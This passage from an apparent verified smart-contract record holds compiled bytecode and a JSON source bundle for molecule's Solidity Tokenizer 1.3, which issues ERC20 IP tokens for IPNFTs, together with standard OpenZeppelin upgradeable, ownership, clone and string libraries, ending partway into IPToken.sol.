dd48908f4c1ff4ed74ffd780908241a3654c6001600160a01b0316610671600080516020611c94833981519152546001600160a01b031690565b6001600160a01b0316146106975760405162461bcd60e51b815260040161061f90611a84565b6106a081610ff8565b604080516000808252602082019092526106bc91839190611000565b50565b600054610100900460ff16158080156106df5750600054600160ff909116105b806106f95750303b1580156106f9575060005460ff166001145b6107155760405162461bcd60e51b815260040161061f90611ad0565b6000805460ff191660011790558015610738576000805461ff0019166101001790555b61074061116b565b610748611192565b60c980546001600160a01b038086166001600160a01b03199283161790925560cb80549285169290911691909117905580156107be576000805461ff0019169055604051600181527f7f26b83ff96e1f2b6a682f133852f6798a09c465da95921460cefb38474024989060200160405180910390a15b505050565b6001600160a01b037f0000000000000000000000006517dd48908f4c1ff4ed74ffd780908241a3654c16300361080b5760405162461bcd60e51b815260040161061f90611a38565b7f0000000000000000000000006517dd48908f4c1ff4ed74ffd780908241a3654c6001600160a01b0316610854600080516020611c94833981519152546001600160a01b031690565b6001600160a01b03161461087a5760405162461bcd60e51b815260040161061f90611a84565b61088382610ff8565b61088f82826001611000565b5050565b6000306001600160a01b037f0000000000000000000000006517dd48908f4c1ff4ed74ffd780908241a3654c16146109335760405162461bcd60e51b815260206004820152603860248201527f555550535570677261646561626c653a206d757374206e6f742062652063616c60448201527f6c6564207468726f7567682064656c656761746563616c6c0000000000000000606482015260840161061f565b50600080516020611c9483398151915290565b60c9546040516331a9108f60e11b8152600481018390526000916001600160a01b031690636352211e90602401602060405180830381865afa158015610990573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109b49190611b1e565b92915050565b826000816001600160a01b031663392f37e96040518163ffffffff1660e01b8152600401600060405180830381865afa1580156109fb573d6000803e3d6000fd5b505050506040513d6000823e601f3d908101601f19168201604052610a239190810190611b3b565b8051600090815260ca60205260409020549091506001600160a01b03838116911614610a6257604051632359169360e21b815260040160405180910390fd5b8051610a6d90610946565b6001600160a01b0316336001600160a01b031614610a9d5760405162e46f6160e11b815260040160405180910390fd5b60405163219e412d60e21b81526001600160a01b0384811660048301526024820186905286169063867904b490604401600060405180830381600087803b158015610ae757600080fd5b505af1158015610afb573d6000803e3d6000fd5b505050505050505050565b610b0e6111c1565b610b18600061121b565b565b610b226111c1565b600054600590610100900460ff16158015610b44575060005460ff8083169116105b610b605760405162461bcd60e51b815260040161061f90611ad0565b6000805461ffff191660ff83161761010017815560ca6020527fe0b86fdc737c0cfd301a36ced403fb76310e3742e00d1a38c7c46a1f09f3411b80546001600160a01b0319908116736034e0d6999741f07cb6fb1162cbaa46a1d33d36179091557f4022427efed5e65af835f3f1a300a2926d324fcfcf8ee08c8f20c84046805e9380548216737b66e84be78772a3afaf5ba8c1993a1b5d05f9c217905560259091527f4444ca249cc3f699f19bbbbb335d97daedc4e7de7a590c20fb2f450ab44ca9a8805490911673bce56276591128047313e64744b3ebe03998783f179055610c4a82610c8f565b6000805461ff001916905560405160ff821681527f7f26b83ff96e1f2b6a682f133852f6798a09c465da95921460cefb38474024989060200160405180910390a15050565b610c976111c1565b6001600160a01b038116610cbe5760405163d92e233d60e01b815260040160405180910390fd5b60cc546040516001600160a01b038084169216907f25b9017bb97a5c097a5037a94b1c7902f8bdbab1a8388f7d5cf35e03008dbadf90600090a360cc80546001600160a01b0319166001600160a01b0392909216919091179055565b806000816001600160a01b031663392f37e96040518163ffffffff1660e01b8152600401600060405180830381865afa158015610d5b573d6000803e3d6000fd5b505050506040513d6000823e601f3d908101601f19168201604052610d839190810190611b3b565b8051600090815260ca60205260409020549091506001600160a01b03838116911614610dc257604051632359169360e21b815260040160405180910390fd5b8051610dcd90610946565b6001600160a01b0316336001600160a01b031614610dfd5760405162e46f6160e11b815260040160405180910390fd5b826001600160a01b031663355274ea6040518163ffffffff1660e01b8152600401600060405180830381600087803b158015610e3857600080fd5b505af1158015610e4c573d6000803e3d6000fd5b50505050505050565b610e5d6111c1565b6001600160a01b038116610ec25760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b606482015260840161061f565b6106bc8161121b565b6000763d602d80600a3d3981f3363d3d373d3d3d363d730000008260601b60e81c176000526e5af43d82803e903d91602b57fd5bf38260781b17602052603760096000f090506001600160a01b038116610f605760405162461bcd60e51b8152602060048201526016602482015275115490cc4c4d8dce8818dc99585d194819985a5b195960521b604482015260640161061f565b919050565b60606000610f728361126d565b600101905060008167ffffffffffffffff811115610f9257610f926115cb565b6040519080825280601f01601f191660200182016040528015610fbc576020820181803683370190505b5090508181016020015b600019016f181899199a1a9b1b9c1cb0b131b232b360811b600a86061a8153600a8504945084610fc657509392505050565b6106bc6111c1565b7f4910fdfa16fed3260ed0e7147f7cc6da11a60208b5b9406d12a635614ffd91435460ff1615611033576107be83611345565b826001600160a01b03166352d1902d6040518163ffffffff1660e01b8152600401602060405180830381865afa92505050801561108d575060408051601f3d908101601f1916820190925261108a91810190611c00565b60015b6110f05760405162461bcd60e51b815260206004820152602e60248201527f45524331393637557067726164653a206e657720696d706c656d656e7461746960448201526d6f6e206973206e6f74205555505360901b606482015260840161061f565b600080516020611c94833981519152811461115f5760405162461bcd60e51b815260206004820152602960248201527f45524331393637557067726164653a20756e737570706f727465642070726f786044820152681a58589b195555525160ba1b606482015260840161061f565b506107be8383836113e1565b600054610100900460ff16610b185760405162461bcd60e51b815260040161061f90611c19565b600054610100900460ff166111b95760405162461bcd60e51b815260040161061f90611c19565b610b1861140c565b6097546001600160a01b03163314610b185760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015260640161061f565b609780546001600160a01b038381166001600160a01b0319831681179093556040519116919082907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a35050565b60008072184f03e93ff9f4daa797ed6e38ed64bf6a1f0160401b83106112ac5772184f03e93ff9f4daa797ed6e38ed64bf6a1f0160401b830492506040015b6d04ee2d6d415b85acef810000000083106112d8576d04ee2d6d415b85acef8100000000830492506020015b662386f26fc1000083106112f657662386f26fc10000830492506010015b6305f5e100831061130e576305f5e100830492506008015b612710831061132257612710830492506004015b60648310611334576064830492506002015b600a83106109b45760010192915050565b6001600160a01b0381163b6113b25760405162461bcd60e51b815260206004820152602d60248201527f455243313936373a206e657720696d706c656d656e746174696f6e206973206e60448201526c1bdd08184818dbdb9d1c9858dd609a1b606482015260840161061f565b600080516020611c9483398151915280546001600160a01b0319166001600160a01b0392909216919091179055565b6113ea8361143c565b6000825111806113f75750805b156107be57611406838361147c565b50505050565b600054610100900460ff166114335760405162461bcd60e51b815260040161061f90611c19565b610b183361121b565b61144581611345565b6040516001600160a01b038216907fbc7cd75a20ee27fd9adebab32041f755214dbc6bffa90cc0225b39da2e5c2d3b90600090a250565b60606114a18383604051806060016040528060278152602001611cb4602791396114a8565b9392505050565b6060600080856001600160a01b0316856040516114c59190611c64565b600060405180830381855af49150503d8060008114611500576040519150601f19603f3d011682016040523d82523d6000602084013e611505565b606091505b509150915061151686838387611520565b9695505050505050565b6060831561158f578251600003611588576001600160a01b0385163b6115885760405162461bcd60e51b815260206004820152601d60248201527f416464726573733a2063616c6c20746f206e6f6e2d636f6e7472616374000000604482015260640161061f565b5081611599565b61159983836115a1565b949350505050565b8151156115b15781518083602001fd5b8060405162461bcd60e51b815260040161061f9190611c80565b634e487b7160e01b600052604160045260246000fd5b6040516060810167ffffffffffffffff81118282101715611604576116046115cb565b60405290565b604051601f8201601f1916810167ffffffffffffffff81118282101715611633576116336115cb565b604052919050565b600067ffffffffffffffff821115611655576116556115cb565b50601f01601f191660200190565b60006116766116718461163b565b61160a565b905082815283838301111561168a57600080fd5b828260208301376000602084830101529392505050565b600082601f8301126116b257600080fd5b6114a183833560208501611663565b60008060008060008060a087890312156116da57600080fd5b8635955060208701359450604087013567ffffffffffffffff8082111561170057600080fd5b61170c8a838b016116a1565b9550606089013591508082111561172257600080fd5b61172e8a838b016116a1565b9450608089013591508082111561174457600080fd5b818901915089601f83011261175857600080fd5b81358181111561176757600080fd5b8a602082850101111561177957600080fd5b6020830194508093505050509295509295509295565b6001600160a01b03811681146106bc57600080fd5b6000602082840312156117b657600080fd5b81356114a18161178f565b600080604083850312156117d457600080fd5b82356117df8161178f565b915060208301356117ef8161178f565b809150509250929050565b6000806040838503121561180d57600080fd5b82356118188161178f565b9150602083013567ffffffffffffffff81111561183457600080fd5b8301601f8101851361184557600080fd5b61185485823560208401611663565b9150509250929050565b60006020828403121561187057600080fd5b5035919050565b60008060006060848603121561188c57600080fd5b83356118978161178f565b92506020840135915060408401356118ae8161178f565b809150509250925092565b60005b838110156118d45781810151838201526020016118bc565b50506000910152565b73495020546f6b656e73206f662049504e4654202360601b81526000825161190c8160148501602087016118b9565b9190910160140192915050565b600081518084526119318160208601602086016118b9565b601f01601f19169290920160200192915050565b85815260a06020820152600061195e60a0830187611919565b82810360408401526119708187611919565b6001600160a01b0386166060850152838103608085015290506119938185611919565b98975050505050505050565b60018060a01b038616815284602082015260a0604082015260006119c660a0830186611919565b82810360608401526119d88186611919565b905082810360808401526119938185611919565b6001600160a01b0385811682528416602082015260606040820181905281018290526000828460808401376000608084840101526080601f19601f850116830101905095945050505050565b6020808252602c908201527f46756e6374696f6e206d7573742062652063616c6c6564207468726f7567682060408201526b19195b1959d85d1958d85b1b60a21b606082015260800190565b6020808252602c908201527f46756e6374696f6e206d7573742062652063616c6c6564207468726f7567682060408201526b6163746976652070726f787960a01b606082015260800190565b6020808252602e908201527f496e697469616c697a61626c653a20636f6e747261637420697320616c72656160408201526d191e481a5b9a5d1a585b1a5e995960921b606082015260800190565b600060208284031215611b3057600080fd5b81516114a18161178f565b60006020808385031215611b4e57600080fd5b825167ffffffffffffffff80821115611b6657600080fd5b9084019060608287031215611b7a57600080fd5b611b826115e1565b8251815283830151611b938161178f565b81850152604083015182811115611ba957600080fd5b80840193505086601f840112611bbe57600080fd5b82519150611bce6116718361163b565b8281528785848601011115611be257600080fd5b611bf1838683018787016118b9565b60408201529695505050505050565b600060208284031215611c1257600080fd5b5051919050565b6020808252602b908201527f496e697469616c697a61626c653a20636f6e7472616374206973206e6f74206960408201526a6e697469616c697a696e6760a81b606082015260800190565b60008251611c768184602087016118b9565b9190910192915050565b6020815260006114a1602083018461191956fe360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc416464726573733a206c6f772d6c6576656c2064656c65676174652063616c6c206661696c6564a264697066735822122003791228e8d801ef08dbdfd3ba9cd1fdac3977c27d4b44ca60140f4c5527fe3a64736f6c63430008120033 | {{
"language": "Solidity",
"sources": {
"src/Tokenizer.sol": {
"content": "// SPDX-License-Identifier: MIT\npragma solidity 0.8.18;\n\nimport { UUPSUpgradeable } from \"@openzeppelin/contracts-upgradeable/proxy/utils/UUPSUpgradeable.sol\";\nimport { OwnableUpgradeable } from \"@openzeppelin/contracts-upgradeable/access/OwnableUpgradeable.sol\";\nimport { Clones } from \"@openzeppelin/contracts/proxy/Clones.sol\";\nimport { Strings } from \"@openzeppelin/contracts/utils/Strings.sol\";\nimport { IPToken, Metadata as TokenMetadata } from \"./IPToken.sol\";\nimport { IPermissioner } from \"./Permissioner.sol\";\nimport { IPNFT } from \"./IPNFT.sol\";\nimport { IControlIPTs } from \"./IControlIPTs.sol\";\n\nerror MustControlIpnft();\nerror AlreadyTokenized();\nerror ZeroAddress();\nerror IPTNotControlledByTokenizer();\n\n/// @title Tokenizer 1.3\n/// @author molecule.to\n/// @notice tokenizes an IPNFT to an ERC20 token (called IPToken or IPT) and controls its supply.\ncontract Tokenizer is UUPSUpgradeable, OwnableUpgradeable, IControlIPTs {\n event TokensCreated(\n uint256 indexed moleculesId,\n uint256 indexed ipnftId,\n address indexed tokenContract,\n address emitter,\n uint256 amount,\n string agreementCid,\n string name,\n string symbol\n );\n\n event IPTokenImplementationUpdated(IPToken indexed old, IPToken indexed _new);\n event PermissionerUpdated(IPermissioner indexed old, IPermissioner indexed _new);\n\n IPNFT internal ipnft;\n\n /// @dev a map of all IPTs. We're staying with the the initial term \"synthesized\" to keep the storage layout intact\n mapping(uint256 => IPToken) public synthesized;\n\n /// @dev not used, needed to ensure that storage slots are still in order after 1.1 -> 1.2, use ipTokenImplementation\n /// @custom:oz-upgrades-unsafe-allow state-variable-immutable\n address immutable tokenImplementation;\n\n /// @dev the permissioner checks if senders have agreed to legal requirements\n IPermissioner public permissioner;\n\n /// @notice the IPToken implementation this Tokenizer clones from\n IPToken public ipTokenImplementation;\n\n /**\n * @param _ipnft the IPNFT contract\n * @param _permissioner a permissioning contract that checks if callers have agreed to the tokenized token's legal agreements\n */\n function initialize(IPNFT _ipnft, IPermissioner _permissioner) external initializer {\n __UUPSUpgradeable_init();\n __Ownable_init();\n ipnft = _ipnft;\n permissioner = _permissioner;\n }\n\n /// @custom:oz-upgrades-unsafe-allow constructor\n constructor() {\n tokenImplementation = address(0);\n _disableInitializers();\n }\n\n function getIPNFTContract() public view returns (IPNFT) {\n return ipnft;\n }\n\n modifier onlyController(IPToken ipToken) {\n TokenMetadata memory metadata = ipToken.metadata();\n\n if (address(synthesized[metadata.ipnftId]) != address(ipToken)) {\n revert IPTNotControlledByTokenizer();\n }\n\n if (_msgSender() != controllerOf(metadata.ipnftId)) {\n revert MustControlIpnft();\n }\n _;\n }\n\n /**\n * @notice sets the new implementation address of the IPToken\n * @param _ipTokenImplementation address pointing to the new implementation\n */\n function setIPTokenImplementation(IPToken _ipTokenImplementation) public onlyOwner {\n /*\n could call some functions on old contract to make sure its tokenizer not another contract behind a proxy for safety\n */\n if (address(_ipTokenImplementation) == address(0)) {\n revert ZeroAddress();\n }\n\n emit IPTokenImplementationUpdated(ipTokenImplementation, _ipTokenImplementation);\n ipTokenImplementation = _ipTokenImplementation;\n }\n\n /**\n * @dev sets legacy IPTs on the tokenized mapping\n */\n function reinit(IPToken _ipTokenImplementation) public onlyOwner reinitializer(5) {\n synthesized[2] = IPToken(0x6034e0d6999741f07cb6Fb1162cBAA46a1D33d36);\n synthesized[28] = IPToken(0x7b66E84Be78772a3afAF5ba8c1993a1B5D05F9C2);\n synthesized[37] = IPToken(0xBcE56276591128047313e64744b3EBE03998783f);\n\n setIPTokenImplementation(_ipTokenImplementation);\n }\n\n /**\n * @notice tokenizes ipnft#id for the current asset holder.\n * @param ipnftId the token id on the underlying nft collection\n * @param tokenAmount the initially issued supply of IP tokens\n * @param tokenSymbol the ip token's ticker symbol\n * @param agreementCid a content hash that contains legal terms for IP token owners\n * @param signedAgreement the sender's signature over the signed agreemeent text (must be created on the client)\n * @return token a new created ERC20 token contract that represents the tokenized ipnft\n */\n function tokenizeIpnft(\n uint256 ipnftId,\n uint256 tokenAmount,\n string memory tokenSymbol,\n string memory agreementCid,\n bytes calldata signedAgreement\n ) external returns (IPToken token) {\n if (_msgSender() != controllerOf(ipnftId)) {\n revert MustControlIpnft();\n }\n if (address(synthesized[ipnftId]) != address(0)) {\n revert AlreadyTokenized();\n }\n\n // https://github.com/OpenZeppelin/workshops/tree/master/02-contracts-clone\n token = IPToken(Clones.clone(address(ipTokenImplementation)));\n string memory name = string.concat(\"IP Tokens of IPNFT #\", Strings.toString(ipnftId));\n token.initialize(ipnftId, name, tokenSymbol, _msgSender(), agreementCid);\n\n synthesized[ipnftId] = token;\n\n //this has been called MoleculesCreated before\n emit TokensCreated(\n //upwards compatibility: signaling a unique \"Molecules ID\" as first parameter (\"sales cycle id\"). This is unused and not interpreted.\n uint256(keccak256(abi.encodePacked(ipnftId))),\n ipnftId,\n address(token),\n _msgSender(),\n tokenAmount,\n agreementCid,\n name,\n tokenSymbol\n );\n permissioner.accept(token, _msgSender(), signedAgreement);\n token.issue(_msgSender(), tokenAmount);\n }\n\n /**\n * @notice issues more IPTs when not capped. This can be used for new owners of legacy IPTs that otherwise wouldn't be able to pass their `onlyIssuerOrOwner` gate\n * @param ipToken The ip token to control\n * @param amount the amount of tokens to issue\n * @param receiver the address that receives the tokens\n */\n function issue(IPToken ipToken, uint256 amount, address receiver) external onlyController(ipToken) {\n ipToken.issue(receiver, amount);\n }\n\n /**\n * @notice caps the supply of an IPT. After calling this, no new tokens can be `issue`d\n * @dev you must compute the ipt hash externally.\n * @param ipToken the IPToken to cap.\n */\n function cap(IPToken ipToken) external onlyController(ipToken) {\n ipToken.cap();\n }\n\n /// @dev this will be called by IPTs. Right now the controller is the IPNFT's current owner, it can be a Governor in the future.\n function controllerOf(uint256 ipnftId) public view override returns (address) {\n return ipnft.ownerOf(ipnftId);\n }\n\n /// @notice upgrade authorization logic\n function _authorizeUpgrade(address /*newImplementation*/ )\n internal\n override\n onlyOwner // solhint-disable--line no-empty-blocks\n {\n //empty block\n }\n}\n"
},
"lib/openzeppelin-contracts-upgradeable/contracts/proxy/utils/UUPSUpgradeable.sol": {
"content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts (last updated v4.9.0) (proxy/utils/UUPSUpgradeable.sol)\n\npragma solidity ^0.8.0;\n\nimport \"../../interfaces/draft-IERC1822Upgradeable.sol\";\nimport \"../ERC1967/ERC1967UpgradeUpgradeable.sol\";\nimport \"./Initializable.sol\";\n\n/**\n * @dev An upgradeability mechanism designed for UUPS proxies. The functions included here can perform an upgrade of an\n * {ERC1967Proxy}, when this contract is set as the implementation behind such a proxy.\n *\n * A security mechanism ensures that an upgrade does not turn off upgradeability accidentally, although this risk is\n * reinstated if the upgrade retains upgradeability but removes the security mechanism, e.g. by replacing\n * `UUPSUpgradeable` with a custom implementation of upgrades.\n *\n * The {_authorizeUpgrade} function must be overridden to include access restriction to the upgrade mechanism.\n *\n * _Available since v4.1._\n */\nabstract contract UUPSUpgradeable is Initializable, IERC1822ProxiableUpgradeable, ERC1967UpgradeUpgradeable {\n function __UUPSUpgradeable_init() internal onlyInitializing {\n }\n\n function __UUPSUpgradeable_init_unchained() internal onlyInitializing {\n }\n /// @custom:oz-upgrades-unsafe-allow state-variable-immutable state-variable-assignment\n address private immutable __self = address(this);\n\n /**\n * @dev Check that the execution is being performed through a delegatecall call and that the execution context is\n * a proxy contract with an implementation (as defined in ERC1967) pointing to self. This should only be the case\n * for UUPS and transparent proxies that are using the current contract as their implementation. Execution of a\n * function through ERC1167 minimal proxies (clones) would not normally pass this test, but is not guaranteed to\n * fail.\n */\n modifier onlyProxy() {\n require(address(this) != __self, \"Function must be called through delegatecall\");\n require(_getImplementation() == __self, \"Function must be called through active proxy\");\n _;\n }\n\n /**\n * @dev Check that the execution is not being performed through a delegate call. This allows a function to be\n * callable on the implementing contract but not through proxies.\n */\n modifier notDelegated() {\n require(address(this) == __self, \"UUPSUpgradeable: must not be called through delegatecall\");\n _;\n }\n\n /**\n * @dev Implementation of the ERC1822 {proxiableUUID} function. This returns the storage slot used by the\n * implementation. It is used to validate the implementation's compatibility when performing an upgrade.\n *\n * IMPORTANT: A proxy pointing at a proxiable contract should not be considered proxiable itself, because this risks\n * bricking a proxy that upgrades to it, by delegating to itself until out of gas. Thus it is critical that this\n * function revert if invoked through a proxy. This is guaranteed by the `notDelegated` modifier.\n */\n function proxiableUUID() external view virtual override notDelegated returns (bytes32) {\n return _IMPLEMENTATION_SLOT;\n }\n\n /**\n * @dev Upgrade the implementation of the proxy to `newImplementation`.\n *\n * Calls {_authorizeUpgrade}.\n *\n * Emits an {Upgraded} event.\n *\n * @custom:oz-upgrades-unsafe-allow-reachable delegatecall\n */\n function upgradeTo(address newImplementation) public virtual onlyProxy {\n _authorizeUpgrade(newImplementation);\n _upgradeToAndCallUUPS(newImplementation, new bytes(0), false);\n }\n\n /**\n * @dev Upgrade the implementation of the proxy to `newImplementation`, and subsequently execute the function call\n * encoded in `data`.\n *\n * Calls {_authorizeUpgrade}.\n *\n * Emits an {Upgraded} event.\n *\n * @custom:oz-upgrades-unsafe-allow-reachable delegatecall\n */\n function upgradeToAndCall(address newImplementation, bytes memory data) public payable virtual onlyProxy {\n _authorizeUpgrade(newImplementation);\n _upgradeToAndCallUUPS(newImplementation, data, true);\n }\n\n /**\n * @dev Function that should revert when `msg.sender` is not authorized to upgrade the contract. Called by\n * {upgradeTo} and {upgradeToAndCall}.\n *\n * Normally, this function will use an xref:access.adoc[access control] modifier such as {Ownable-onlyOwner}.\n *\n * ```solidity\n * function _authorizeUpgrade(address) internal override onlyOwner {}\n * ```\n */\n function _authorizeUpgrade(address newImplementation) internal virtual;\n\n /**\n * @dev This empty reserved space is put in place to allow future versions to add new\n * variables without shifting down storage in the inheritance chain.\n * See https://docs.openzeppelin.com/contracts/4.x/upgradeable#storage_gaps\n */\n uint256[50] private __gap;\n}\n"
},
"lib/openzeppelin-contracts-upgradeable/contracts/access/OwnableUpgradeable.sol": {
"content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts (last updated v4.9.0) (access/Ownable.sol)\n\npragma solidity ^0.8.0;\n\nimport \"../utils/ContextUpgradeable.sol\";\nimport \"../proxy/utils/Initializable.sol\";\n\n/**\n * @dev Contract module which provides a basic access control mechanism, where\n * there is an account (an owner) that can be granted exclusive access to\n * specific functions.\n *\n * By default, the owner account will be the one that deploys the contract. This\n * can later be changed with {transferOwnership}.\n *\n * This module is used through inheritance. It will make available the modifier\n * `onlyOwner`, which can be applied to your functions to restrict their use to\n * the owner.\n */\nabstract contract OwnableUpgradeable is Initializable, ContextUpgradeable {\n address private _owner;\n\n event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);\n\n /**\n * @dev Initializes the contract setting the deployer as the initial owner.\n */\n function __Ownable_init() internal onlyInitializing {\n __Ownable_init_unchained();\n }\n\n function __Ownable_init_unchained() internal onlyInitializing {\n _transferOwnership(_msgSender());\n }\n\n /**\n * @dev Throws if called by any account other than the owner.\n */\n modifier onlyOwner() {\n _checkOwner();\n _;\n }\n\n /**\n * @dev Returns the address of the current owner.\n */\n function owner() public view virtual returns (address) {\n return _owner;\n }\n\n /**\n * @dev Throws if the sender is not the owner.\n */\n function _checkOwner() internal view virtual {\n require(owner() == _msgSender(), \"Ownable: caller is not the owner\");\n }\n\n /**\n * @dev Leaves the contract without owner. It will not be possible to call\n * `onlyOwner` functions. Can only be called by the current owner.\n *\n * NOTE: Renouncing ownership will leave the contract without an owner,\n * thereby disabling any functionality that is only available to the owner.\n */\n function renounceOwnership() public virtual onlyOwner {\n _transferOwnership(address(0));\n }\n\n /**\n * @dev Transfers ownership of the contract to a new account (`newOwner`).\n * Can only be called by the current owner.\n */\n function transferOwnership(address newOwner) public virtual onlyOwner {\n require(newOwner != address(0), \"Ownable: new owner is the zero address\");\n _transferOwnership(newOwner);\n }\n\n /**\n * @dev Transfers ownership of the contract to a new account (`newOwner`).\n * Internal function without access restriction.\n */\n function _transferOwnership(address newOwner) internal virtual {\n address oldOwner = _owner;\n _owner = newOwner;\n emit OwnershipTransferred(oldOwner, newOwner);\n }\n\n /**\n * @dev This empty reserved space is put in place to allow future versions to add new\n * variables without shifting down storage in the inheritance chain.\n * See https://docs.openzeppelin.com/contracts/4.x/upgradeable#storage_gaps\n */\n uint256[49] private __gap;\n}\n"
},
"lib/openzeppelin-contracts/contracts/proxy/Clones.sol": {
"content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts (last updated v4.9.0) (proxy/Clones.sol)\n\npragma solidity ^0.8.0;\n\n/**\n * @dev https://eips.ethereum.org/EIPS/eip-1167[EIP 1167] is a standard for\n * deploying minimal proxy contracts, also known as \"clones\".\n *\n * > To simply and cheaply clone contract functionality in an immutable way, this standard specifies\n * > a minimal bytecode implementation that delegates all calls to a known, fixed address.\n *\n * The library includes functions to deploy a proxy using either `create` (traditional deployment) or `create2`\n * (salted deterministic deployment). It also includes functions to predict the addresses of clones deployed using the\n * deterministic method.\n *\n * _Available since v3.4._\n */\nlibrary Clones {\n /**\n * @dev Deploys and returns the address of a clone that mimics the behaviour of `implementation`.\n *\n * This function uses the create opcode, which should never revert.\n */\n function clone(address implementation) internal returns (address instance) {\n /// @solidity memory-safe-assembly\n assembly {\n // Cleans the upper 96 bits of the `implementation` word, then packs the first 3 bytes\n // of the `implementation` address with the bytecode before the address.\n mstore(0x00, or(shr(0xe8, shl(0x60, implementation)), 0x3d602d80600a3d3981f3363d3d373d3d3d363d73000000))\n // Packs the remaining 17 bytes of `implementation` with the bytecode after the address.\n mstore(0x20, or(shl(0x78, implementation), 0x5af43d82803e903d91602b57fd5bf3))\n instance := create(0, 0x09, 0x37)\n }\n require(instance != address(0), \"ERC1167: create failed\");\n }\n\n /**\n * @dev Deploys and returns the address of a clone that mimics the behaviour of `implementation`.\n *\n * This function uses the create2 opcode and a `salt` to deterministically deploy\n * the clone. Using the same `implementation` and `salt` multiple time will revert, since\n * the clones cannot be deployed twice at the same address.\n */\n function cloneDeterministic(address implementation, bytes32 salt) internal returns (address instance) {\n /// @solidity memory-safe-assembly\n assembly {\n // Cleans the upper 96 bits of the `implementation` word, then packs the first 3 bytes\n // of the `implementation` address with the bytecode before the address.\n mstore(0x00, or(shr(0xe8, shl(0x60, implementation)), 0x3d602d80600a3d3981f3363d3d373d3d3d363d73000000))\n // Packs the remaining 17 bytes of `implementation` with the bytecode after the address.\n mstore(0x20, or(shl(0x78, implementation), 0x5af43d82803e903d91602b57fd5bf3))\n instance := create2(0, 0x09, 0x37, salt)\n }\n require(instance != address(0), \"ERC1167: create2 failed\");\n }\n\n /**\n * @dev Computes the address of a clone deployed using {Clones-cloneDeterministic}.\n */\n function predictDeterministicAddress(\n address implementation,\n bytes32 salt,\n address deployer\n ) internal pure returns (address predicted) {\n /// @solidity memory-safe-assembly\n assembly {\n let ptr := mload(0x40)\n mstore(add(ptr, 0x38), deployer)\n mstore(add(ptr, 0x24), 0x5af43d82803e903d91602b57fd5bf3ff)\n mstore(add(ptr, 0x14), implementation)\n mstore(ptr, 0x3d602d80600a3d3981f3363d3d373d3d3d363d73)\n mstore(add(ptr, 0x58), salt)\n mstore(add(ptr, 0x78), keccak256(add(ptr, 0x0c), 0x37))\n predicted := keccak256(add(ptr, 0x43), 0x55)\n }\n }\n\n /**\n * @dev Computes the address of a clone deployed using {Clones-cloneDeterministic}.\n */\n function predictDeterministicAddress(\n address implementation,\n bytes32 salt\n ) internal view returns (address predicted) {\n return predictDeterministicAddress(implementation, salt, address(this));\n }\n}\n"
},
"lib/openzeppelin-contracts/contracts/utils/Strings.sol": {
"content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts (last updated v4.9.0) (utils/Strings.sol)\n\npragma solidity ^0.8.0;\n\nimport \"./math/Math.sol\";\nimport \"./math/SignedMath.sol\";\n\n/**\n * @dev String operations.\n */\nlibrary Strings {\n bytes16 private constant _SYMBOLS = \"0123456789abcdef\";\n uint8 private constant _ADDRESS_LENGTH = 20;\n\n /**\n * @dev Converts a `uint256` to its ASCII `string` decimal representation.\n */\n function toString(uint256 value) internal pure returns (string memory) {\n unchecked {\n uint256 length = Math.log10(value) + 1;\n string memory buffer = new string(length);\n uint256 ptr;\n /// @solidity memory-safe-assembly\n assembly {\n ptr := add(buffer, add(32, length))\n }\n while (true) {\n ptr--;\n /// @solidity memory-safe-assembly\n assembly {\n mstore8(ptr, byte(mod(value, 10), _SYMBOLS))\n }\n value /= 10;\n if (value == 0) break;\n }\n return buffer;\n }\n }\n\n /**\n * @dev Converts a `int256` to its ASCII `string` decimal representation.\n */\n function toString(int256 value) internal pure returns (string memory) {\n return string(abi.encodePacked(value < 0 ? \"-\" : \"\", toString(SignedMath.abs(value))));\n }\n\n /**\n * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation.\n */\n function toHexString(uint256 value) internal pure returns (string memory) {\n unchecked {\n return toHexString(value, Math.log256(value) + 1);\n }\n }\n\n /**\n * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length.\n */\n function toHexString(uint256 value, uint256 length) internal pure returns (string memory) {\n bytes memory buffer = new bytes(2 * length + 2);\n buffer[0] = \"0\";\n buffer[1] = \"x\";\n for (uint256 i = 2 * length + 1; i > 1; --i) {\n buffer[i] = _SYMBOLS[value & 0xf];\n value >>= 4;\n }\n require(value == 0, \"Strings: hex length insufficient\");\n return string(buffer);\n }\n\n /**\n * @dev Converts an `address` with fixed length of 20 bytes to its not checksummed ASCII `string` hexadecimal representation.\n */\n function toHexString(address addr) internal pure returns (string memory) {\n return toHexString(uint256(uint160(addr)), _ADDRESS_LENGTH);\n }\n\n /**\n * @dev Returns true if the two strings are equal.\n */\n function equal(string memory a, string memory b) internal pure returns (bool) {\n return keccak256(bytes(a)) == keccak256(bytes(b));\n }\n}\n"
},
"src/IPToken.sol": {
"content": "// SPDX-License-Identifier: MIT\npragma solidity 0.8.18;\n\nimport { ERC20BurnableUpgradeable } from \"@openzeppelin/contracts-upgradeable/token/ERC20/extensions/ERC20BurnableUpgradeable.sol\";\nimport { OwnableUpgradeable } from \"@openzeppelin/contracts-upgradeable/access/OwnableUpgradeable.sol\";\nimport { Strings } from \"@openzeppelin/contracts/utils/Strings.sol\";\nimport { Base64 } from \"@openzeppelin/contracts/utils/Base64.sol\";\nimport { Tokenizer, MustControlIpnft } from \"./Tokenizer.sol\";\nimport { IControlIPTs } from \"./IControlIPTs.sol\";\n\nstruct Metadata {\n uint256 ipnftId;\n address originalOwner;\n string agreementCid;\n}\n\nerror TokenCapped();\n\n/**\n * @title IPToken 1.3\n * @author molecule.xyz\n * @notice this is a template contract that's cloned by the Tokenizer\n * @notice the owner of this contract is always the Tokenizer contract which enforces IPNFT holdership rules.\n * The owner can increase the token supply as long as it's not explicitly capped.\n * @dev formerly known as \"molecules\"\n */\ncontract IPToken is ERC20BurnableUpgradeable, OwnableUpgradeable {\n event Capped(uint256 atSupply);\n\n /// @notice the 